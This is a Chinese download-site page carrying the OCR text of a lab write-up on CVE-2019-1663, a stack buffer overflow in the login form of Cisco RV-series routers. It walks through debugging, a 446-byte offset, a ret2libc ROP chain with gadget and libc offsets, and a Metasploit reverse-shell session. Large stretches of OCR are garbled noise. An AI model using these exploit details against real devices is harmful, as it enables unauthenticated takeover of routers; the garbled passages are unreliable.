欢迎来到三一办公! | 帮助中心 三一办公31ppt.com(应用文档模板下载平台)
三一办公
全部分类
  • 办公文档>
  • PPT模板>
  • 建筑/施工/环境>
  • 毕业设计>
  • 工程图纸>
  • 教育教学>
  • 素材源码>
  • 生活休闲>
  • 临时分类>
  • ImageVerifierCode 换一换
    首页 三一办公 > 资源分类 > DOCX文档下载  

    (CVE-2019-1663)Cisco 堆栈缓冲区溢出漏洞.docx

    • 资源ID:6068794       资源大小:202.64KB        全文页数:13页
    • 资源格式: DOCX        下载积分:5金币
    快捷下载 游客一键下载
    会员登录下载
    三方登录下载: 微信开放平台登录 QQ登录  
    下载资源需要5金币
    邮箱/手机:
    温馨提示:
    用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)
    支付方式: 支付宝    微信支付   
    验证码:   换一换

    加入VIP免费专享
     
    账号:
    密码:
    验证码:   换一换
      忘记密码?
        
    友情提示
    2、PDF文件下载后,可能会被浏览器默认打开,此种情况可以点击浏览器菜单,保存网页到桌面,就可以正常下载了。
    3、本站不支持迅雷下载,请使用电脑自带的IE浏览器,或者360浏览器、谷歌浏览器下载即可。
    4、本站资源下载后的文档和图纸-无水印,预览文档经过压缩,下载后原文更清晰。
    5、试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。

    (CVE-2019-1663)Cisco 堆栈缓冲区溢出漏洞.docx

    (CVE-2019-1663)堆栈缓冲区溢出漏洞一、漏洞简介CVE-2019-1663是一个影响Cisco的多个低端设备的堆栈缓冲区,由于管理界面没 有对登录表单的pwd字段进行严格的过滤,底层在处理请求时,Strcpy函数导致 堆栈溢出,未经身份验证的远程攻击者可以在设备上执行任意代码二、漏洞影响Cisco RVllOW <1.2.1.7 Cisco RV130RV130W < 1.0.3.45 Cisco RV215W <1.3.0.8三、复现过程OxOl固件提取这里我使用时Cisco RV130W 1.0.3.44进行测试的,binwalk对固件进行提取可以看出文件系统是SqUaShfS,并且是小端存储方式,得到一个类Linux目录totnwrcIbtn dm <ky etc foretgn一IAb log Ant proc Sbtn_tr _ 叼 丫“0x02分析处理请求使用grep -r “http”来查找处理http请求的二进制文件t/ Btra, Hle , Rt-> > IH 2, 6t , , 81>, ->a» 8lw? t->a-, H一, tner> IMe , nta-. Ctcr f f, » «1 < f BtCa。 81 , B “一 AIe , Rt - » >, bl”, KU ,八S file ru file HW n nu file me ftle Hie file ru ftu n ftl TUe file m file nu “ n n nuSLdCwtcM sbi*rc tcheSytn/O0mssl 2td wrtbtnrp Rtch* v*lntrtRH Mtcht u«r/«btn/tftM Mtch«» wtrsbntfcH zt<hs usrsblwebroot matches Sfes7gnJf J 5C 33GWH3PS¾ watches KCJs7tk7y Atche usr*btndhcllet tches vt<tnPP Mtchtt u*rttnun> fMtct wittincurl *41cM usrtetnjsorte Fetches usrsbtnl2tM Mtches usr/sbln/cal natch«sU“八IwIIXSso4.1, Mtch«s Msryltb八tbuq.l".d fetches vfrtbUbn*tMp.so.lS Mtch«s w*rllbltbcry*to.*o.t. ZtCh, uftlbUttl.M. 11. *4tce U“八tb八tbZ,M.s。Atcs VSf ltb 4r. tc RAt<MS (ttn) any later versto. See <,:/w(w.fsf.org/copyIeft9pl.tat>.Z2 - «:w>.wes*n85> ”r ”“I 1”J根据之前分析的多个嵌入式设备的经验,猜测这个可能就是处理http请求的底层 文件0x03漏洞分析对Web登录界面的Iogin.cgi发送如下的PC)ST请求POST /login.Cgi HTTP/1.1Host: 10.10.10.2User-Agent: Mozilla/5.0 (Xll; Linux x86_64; rv:60.0) Gecko/20100101 Fir efox/60.0Accept: texthtmljapplicationxhtml+xml,application×mljq=0.9j*jq=0.8Accept-Language: en-US,enjq=0.5Accept-Encoding: gzip, deflateReferer: https:/10.10.10.2/Content-Type: application/x-www-form-urlencodedContent-Length: 137Connection: closeUpgrade-Insecure-Requests: 1submit_button=login&submit_type=&gui_action=&wait_time=0&change_action= &enc=l&user=cisco&pwd=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&Se1_1ang=EN这里向pwd发送32字节的值,对登录界面的http处理请求在IDA中的是 sub.2C614Q,地址是 0x0002C614vl3 atoi(vl2);sprintf(v67j w%d,'j + 1);nvram_set(wdefault_loginM» &byte_899D8);vl4 = sub_lD170(int)MuserM);if ( ! vl4)vl5 =v36 = (char r)vl4;if ( !vl4 )v36 V15;vl6 = sub-lD17e(int)"pwd");IVR7 = (char X)VI6;if ( Ivl6 )vl7 =""if ( !vl6 )v37 = vl7;nptr = (char *)sub-lD170(int)"enc");if ( Inptr )nptr = (char *)&word 89A4C;if ( !post )SUbjLCFB4(35);v25 sub_lD170(int)MuserM);if ( !v25i)v26 = mh;v36 = (char *)v25;if ( Iv25 )v36 v26;v27 = sub-lD170( ( int) ,pwd m );37 = (char *);if ( !v27 )v28 =","if ( !v27 )v37 = v28;nptr = (char )sub_lD170(int)"encM);if ( !nptr )nptr = (char ")&word_89A4C;函数将POST请求的参数进行解析,存储到.bss段 OGeAea7 DC8 0x69 ; ie .bssA9C18 DCB GxbF , Oa .bA8(19 DCB ×6E ; n bss:e(MA8ClADCB* * bsszA8(lBDCB,.bss(XMA81l AEnjl DCB eence,e bss 0A3(20 al_l DCB .广,0e Lbss:eoeA8C22 MB"OCB wuserw,0,I btrS:eoeAM27 KiscowI DCB cisco",ejnPwd DCB pwd,eF831e5dll99e4<_l DCB aAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwtO# I bs; (KK巾; aSelLang- D(B "sel-lang",bss OA8CS8aEn-DCB EN,0# i bsseA8(5eDCB# .bs0eA8C5FDCB# LbeeeaAaceeOCBe然后,将PWd参数的值从.bss段中提取,调用StrCPy将值存到动态分配的内存中“xt:MeK2S8text:W«X2M IoCgSt txtcMeX2M KNm, K9CeXt eWX 25( MOV t7CeXtMeX264 text :MeX264 Ioc 2064text eK2M LM tmx冰 LCM tcvtreeK27 CHP tt M9X274 BNf teMtMejs text Mex27S Ioc. textM×27S tw* MMX77S mu«. I63*1. (U)l<.X7CX27S*11.CODf XSEF: CbeCII_*oc-p4*114tj ;CHCk _enc_pe*M*d*l)SM对于StrCPy我们都很熟悉,它存在的安全问题也十分严峻,并且由于没有开启PlE /ASLR,所以可以随意的进行溢出操作这里使用gdb进行远程调试,确定能够发生溢出的字节数,首先设置CiSCO,作为 gdb调试的服务端,gdbserver配置# wget http: /10.10.10.1:8000/gdbserver 从本机下载到 qemu 模拟的 CiSCO 环 境中# chmod 777 ./gdbserver给权限# ps -W I grep httpd查找httpd开启的进程号2451 05472 S./usr/sbin/httpd2454 01196 Sgrep httpd# ./gdbserver :1234 -attach 2451这里的1234是开启监听的端口号,-attach添加的是httpd的进程号Attached; pid = 2451Listening on port 1234然后成功监听编译 arm-gdb-linuxtar ×vf gdb-7.8.1.tar.gzcd gdb-7.8.1mkdir arm-gdbsudo chmod 777 arm-gdbsudo apt-get install texinfo./configure -target=arm-linu× -prefi×=homeclbltoolsgdb-7.8.1/arm -gdbmake && make install然后在arm-gdb下的bin目录中就有用于调试的arm-linux-gdb,配置调试选项./arm-linux-gdbgef > set architecture arm 确定要调试的是arm架构gef> set follow-fork-mode child 确定调试的进程gef> set solib-search-path homeclbliotfirmware/cisco/_RV130.bin.ext ractedsquashfs-rootlib 加载要用到的 lib 文件gef> file /home/clb/liot/firmware/cisco/_RV130.bin.extracted/squashfs-r oot/usr/sbin/httpd 加载调试文件gef> target remote 10.10.10.2:1234 与远程建立连接已经建立调试连接,可以进行调试了查找溢出的位置,使用pattern生成512个字符串gef> patter create 512+ Generating a pattern of 512 bytesaaaabaaacaaadaaaeaaafaaagaaahaaaiaaaJaaakaaalaaamaaanaaaoaaapaaaqaaaraa asaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabka ablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacd aaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaac Vaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaa doaadpaadqaadraadsaadtaaduaadvaadwaad×aadyaadzaaebaaecaaedaaeeaaefaaega aehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaae×aaey aaezaafbaafcaaf+ Saved as '$_gef0,通过curl发送POST请求查找溢出的位置gef A cContinuing.Program received signal SIGSEGVj Segmentation fault.0×616d6560 in ?()通过pattern确定溢出的大小gef> pattern search 0x616d6561+ Searching ,0×616d6561,+ Found at offset 446 (little-endian search) likely 我们可以确定要进行填充的字符串是有446个字节这里使用Ret2Libc进行利用。ret21ibc这种攻击方式主要是针对动态链接 (Dynamiclinking)编译的程序,因为正常情况下是无法在程序中找到像 system() > execve()这种系统级函数(如果程序中直接包含了这种函数就可以直接 控制返回地址指向他们,而不用通过这种麻烦的方式)。因为程序是动态链接生成 的,所以在程序运行时会调用IibeS。(程序被装载时,动态链接器会将程序所有所 需的动态链接库加载至进程空间,Iibcso就是其中最基本的一个),Iibcso是 Iinux下C语言库中的运行库glibc的动态链接版,并且libc.so中包含了大量的可 以利用的函数,包括SyStem()、exeeve。等系统级函数,我们可以通过找到这些 函数在内存中的地址覆盖掉返回地址来获得当前进程的控制权。通常情况下,我们 会选择执行SyStemCbinsh")来打开shell。这里我们使用VmmaP查看调用的 Iib文件有哪些9ef> vnnape×086 o×ae ×O96oeeo99ee 0xeeea90 OxeeebbeeeQxeeoooeea e9eo Oxeeeeeeeer-x rw rw-usrsbthttpd usrsbthttpdOxO39ae o×76bebooe ×76bboee 6x76Cebeee 6x76ClS0e ex76cicoeo e×76cide 76cifeee 0x76c260e 0x76c2700e6oe39ceee 076b8b0 0x76c0b00e x76clSe ex76clc e7cidoeo “76Clfeee 0x76c2666 ex7C27O6Oxeeooeeee Gxeeooeeeo oeooeoeeo Oxeeooeeee dxeeooeeeo oxeeoo9eo oxeoooeeeo Oxeeoeoeeo OxeeooieeeFW-Xo76c2eoe oxeooooeeo“76c28eee ox7ec8soee ”eeeeeeee rx76c85O ex76cdoee 0x76ce00 6x76c8fe 0x76c94ee e76dfioee 0x76df6 ”76Wee ex76eefeeo 0x76e66 x76e6e x7674ee 76e7soee x76e7dM Ox76e7eee 6x76e990 0×76ealee 6x76ea26 6x76RfCeee o76te4oee ex76fa e76fi3ee ex76fiaoeo 6x76f2100e 6x76f22e x76f2ae Ox76f35e ex76f36W6 ex76f37e le×7e8bso Oxfftfooeox76c8deo Oxeeoeeeoo6x76c8eeee 07c8feee x76c94e ex76dfeee ex76df8oe o×76e6deee 0x76eefM0 Ox76e66O 0×76e6e0e 0x76e7406 ex76e75oee 0x76e7d660 0x76e7eeOxeoosdeeo Oxeeeseeoe x6oe Oxeeeeoeeo xooeeo Oxeoisceeo eooeeo Oxeoooeoee eeoeeo exee57e Oxeeeooeeo oxoeooeeoo Oxeeooieoe6x76e99e 0x66000060x76eaieeo 0x76e2ee ex76efcM 6x76f4eee ex76toaeoe 0x76f13060 0x76fiaeee x76f2160 Ox76f22OOO 0x76f2ae 6x76f2f 0x76f36006 6x76f37e ex76f38eeOxeeeooeeo Oxeeoibeeo 0x6060 xeeoeeo o×5aeo eeoo Oxeeeooeeo xoooeo 0x00006660 xeo eee exeeooeeeo OxeeeMeee Oxeeeeseeoex7e936ee Oxeooooeeo Oxffffieee eoGeheapssvooeoa457 (deleted)ssvoeeee457 (deleted)ltbltbgcc-s.so.1ltbltbgcc-s.so.1 八tb八tbdlWo6ltbltbdl.so.0 ltbllbc.so.6Ubltbc.so.e 八Ib八lbc.soeW- W -XW-Xrw- r-xW-Xrw- rw- rxW- rw- rx rw-rw rw Xusrltbltbcrypto. so.1.Ousrltbltbcrypto.so«10O/usr/ltb/ltbssl.so.i.o.eusrttbltbsslso.l00 usrlbltbrguea.sousrliblibrogueap.so usrltbltbcbt. sousrltbltbcbt.sousrltbltbshared.sousrltbltbshared.sousrltbItbnvran.sousrltbltbnvrn. soltbld-uCltbc.so.0八Ib八d-uCltbcso.e /1, tb Id-UCltbc. so. 6 stack vectors注:由于是在模拟器中查找的Iib文件的起始地址,所以和在真机中的地址可能不 太一样这里我们选择具有执行权限的libc.so.0文件,使用radare2对libc.so.0文件进行搜 索system函数Use A-r皿I 04bc0 0*0e>M4 M4d144三三三3r>- wr>lt>reg M 2r 2C9mrfcU tm/4 -lttftrRMfcUe.BV1M.<n.tr<f*4MMMt-fo*tU . rg2 -a UX s. Analy* all fl«9« »t*fting with i»n. M <ttry ()Aniy rtlx C4llS (K) An*ly Ien bytes of tnstrvct<on for references (m) CMCG for bjc rfrc Check for VtabIeSFtMl9 /' l non<d xtloc «tth 1 . 1-o z” Anlyx value tnters (v) m f g8M88 CO B35"Z (Mv) 0mM4M tCr*c in K fc (MV) C),uUt cod* to find <oMpuiy refrttts <«m) Typr natcxn Mlysts for all fvttoos (Mft) 0roM<t f*ortvrn t*rrr<on or Iaaa to PefforK *ddlttonl expermftt*l analysts. .9.7 If SO 3% F rMfrtht< 20 USIM It with ts tM U NMII fl I gr “Mee 1 8,«j«. svcr f .SyiURerr7 32*ym.sy*tn这里的system函数的地址是偏移地址,偏移地址加上vmmap得到的起始地址就 是,我们通过下断点得到SyStem函数的地址,然后通过计算可以发现地址完全正 确2rw-r- UfUMltc.m.r feA Kttc.M. i ¾U> Cltc . M. e *M ,y (wctr这时我们已经知道了一些关键的地址,那么这个时候我们就需要构造一个ROP链, 来实现地址的跳转 这里使用了一款工具ROPPer,因为我们存储的位置位于堆栈,所以查找跟堆栈有 关的指针SPX“e ROM ri h> Se4rcU fr QttQets: ov r. sp三* X* f* t C ( r e P P P P %.:二 t 1 C f :«WYr4fsF55rmml1olp<plw - Il知FSllil!:“lcl«“MMMMM4ep.p 0f)X:三EI: .TMP*P*I>P.M>.P.P.P.P.H>.%P.P.三m三三三三 e<evp.p.p.%*4i%4;4;si6:42$4JbT4T;?lxM *rr/ ,:, rrr ”ZM62 AC-rereBr<rerlmfere : p.p.fxM三三T; aOv三1 s×<lRRmRRmRbbRRWR t :热"盘:弋NKi l;$;e«b*bmelbe»bBbeat»0,r.Br”“ ” ssssssHJswb/ppp.P.P;*ppp<PoPPPPP.P:P:PPPP0P:DPPPPPPP Issssfssx s<vsss<*sf<s*slslss<stHier这里我选择了 OXoOO41308的指令,因为这里有一个关于指令跳转的指令BLX,如 果r2存的值是SyStem的地址,那么我们就能跳到SyStem处,执行系统命令了, 并且由于我们的值都存在栈中,所以我们就需要查找和popfr2有关的指令se<rc pop r2StrcM for gdts: pop r2File: honeclbllotftrRw4rectscoRV130.btn.extractedsqu4shfsrootltbltbc.M. :pop (ri, r> bM Ir;:NP 3). bx Ir. ,u*h ri. 1,). ROV rA,8: bl *db>M; F rl. pc);在ARM指令集下我们发现两个对r2的操作,但是后面还跟着别的指令,如果我 们使用了某一个,那么我们还得继续寻找能够完整构造Payk)ad的指令。由于 ARM除了有ARM指令外,还有一个Thumb指令集,这个指令是ARM指令集的 一个子集,但是在某些方面比ARM指令集要更有效,我们切换指令集去这里看看 符合我们要求的指令rcM MWTXMIM4 H><t .心 cMUCqionmwH 4mW dHtt. )M serc oe iflSercktM 2 *t< :(m< (" 这里我们找到了没有其他指令参与并且堆栈操作十分符合我们要求的指令,下面就 是我们构造的堆栈的排列方式Rvt Y. r; tal r<l rtf 9*bW; w bw *2 r 8tr r4f Ira rT nortpop (r2 r6. pc)targetlrr8rlr9system addressIBLsystemr2rlr3rlluseless valuer4rl2r5rl3mov r1 sp:blx r2target2rl4r7rl5首先排布的是targetl,这条指令就是对栈就行弹出的操作,首先将SyStem的地址 弹出到r2,然后后面无用的地址弹出到r6,最后将target2的地址弹出到rl5中, 并且rl5中存储的还是正在取指的地址。紧接着执行rl5所指向的地址,首先将 SP的地址存储到r中,然后执行blx跳转指令并且切换指令集,并且跳转到r2 的地址,也就是SyStem的地址,那么这时候就成功执行SyStem函数,到此整个 ROP链也就执行完毕0x04漏洞复现这里我们利用的是exploit-db上的expU *<UM <>UlttUMtt<lX.fVlM.M>M3"M S<ttVrateMA Ra CZs f swt/ Ete trrtlt*<1f¾*r*fMSEZfl (TCF>WIVMOiT ETW local mt t IlBtM -i TM mnt to - >Mr<t M t tool wc>1m <bt .1awt0BEfM lMl r< t> IQ八” fS"trWnoMv<9tltr SSL/TVS fr utfDlQ cMwctt>ssc<ctwM<h CMtM H ctrttn<Me (frfwU (BgzEMt> *t, Me f tM UU <4Hvlt tl rMw>VHMfMwnt Wfwr VtrtMl htt,(lVMrMwtr9retrArevvrwetcp):MflW Correfit 5t<l Bvtnlr<4 ee<><ttmf - yetZ HMe re(8 U<rfe F to WetfIMBT 4444yM tute Hrtft:S Ct<C Wrl>WBM < ,"设置rhosts,!hosts和target,然后直接exploit,就能直接获得shell权限,这里我 在vps上执行的>: e>olo (1t.,4134b) > e*DlotIneterDreter >a meInterface 15Interface 16:4444Started reverse TCF handler(? Sending request1 Using URL: http: Q,O,Q.O:8080 M3IzSTYon( Locl ¾: h¾p? (. Client( Sending payload tot800N3!2STpn(Het) Requested H3IzSTYpn(Wget)4444 > Mettrpreter session 3 openfl"( t 2O19-OS-I8 07:06:52 *0000( Reloading httpd service ( Cooaand Stager progress - 100.00% done (116/116 bytes) Servr Stoppedt:UJlO.2MTUF lagsName Hardware MTU F lags:1500:UP,BROADCAST,MULTICAST:QilO.3:1500:UP,BROADCAST,MULTICAST:vla2Name Hardware Htu F lags1260:UP,BROADCAST,MULTICASTIPv4 Address :成功执行ifconflg命令IPv4 Netmask :0x05 exp脚本分析Cisco RV136RV13W,offset* 'Itbjbasejddr' ,systen-offset ,gadgetl, ,gadget2, ,Arch, tDefaultOpttons, ,PAYLOAD,< l.e.3.4S*fS> 446,> 0x357fbe06f»> Ox66e4dl440> 0x020e79, * pop r2f r6, pc);> 6x06041368, # mov r, sp; bl× r2;«> ARCH-AMLE,B> (> ,ltnuxarRleReterpreter-reverse-tcp,这里存储就是偏移地址,libc.base的地址,system的偏移地址,gadgetl的偏移 地址,gadget2的偏移地址,这些地址就是真机中真正的偏移地址M tAff9ttpJ trrtt( : I.WI-IUetf - *W.tet.lHe<trvH( '-J) 1 te1 () 1.tMt.>f(i tBB<w<i< 4 ) .f>M,W1vaMibM4j r(t>rrt(» - : h *) Mr*t( ” ><fwt ) l.tm.Uk<4 r-.eost二lMpj 1.t*t.¼te(1 ”一 .tx><(.|) Htertalt- b< *- t9 UrKg ” D I tW1 ( “ trttM wn%( J tMM(*h t>rH<B( ?. ".t-Ilcotv9ee中 1 Wl trv Hto41U-,- m if<M<3(、,)川 "E|。"2"3 '. urtf ,MHtl) .Q*rMJ Wx teFHK,一.se ¼m<) El Mx - 3 '1 SKlAxbD <1AlUe这里就是根据不同的target生成不同的payload这里就是我们对MSf生成的payload进行输出,可以看到被攻击的设备下载了可 以在ARM平台进行回来的文件,并给与权限并执行,最终创建一个Sheil参考链接Cisco%E7%9A%84%E5%A4%9A%E4%B8%AA%E4%BD%8E%E7%AB% AF%E8%AE%BE%E5%A4%87%E7%9A%84%E5%A0%86%E6%A0%88 %E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA% E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

    注意事项

    本文((CVE-2019-1663)Cisco 堆栈缓冲区溢出漏洞.docx)为本站会员(李司机)主动上传,三一办公仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知三一办公(点击联系客服),我们立即给予删除!

    温馨提示:如果因为网速或其他原因下载失败请重新下载,重复下载不扣分。




    备案号:宁ICP备20000045号-2

    经营许可证:宁B2-20210002

    宁公网安备 64010402000987号

    三一办公
    收起
    展开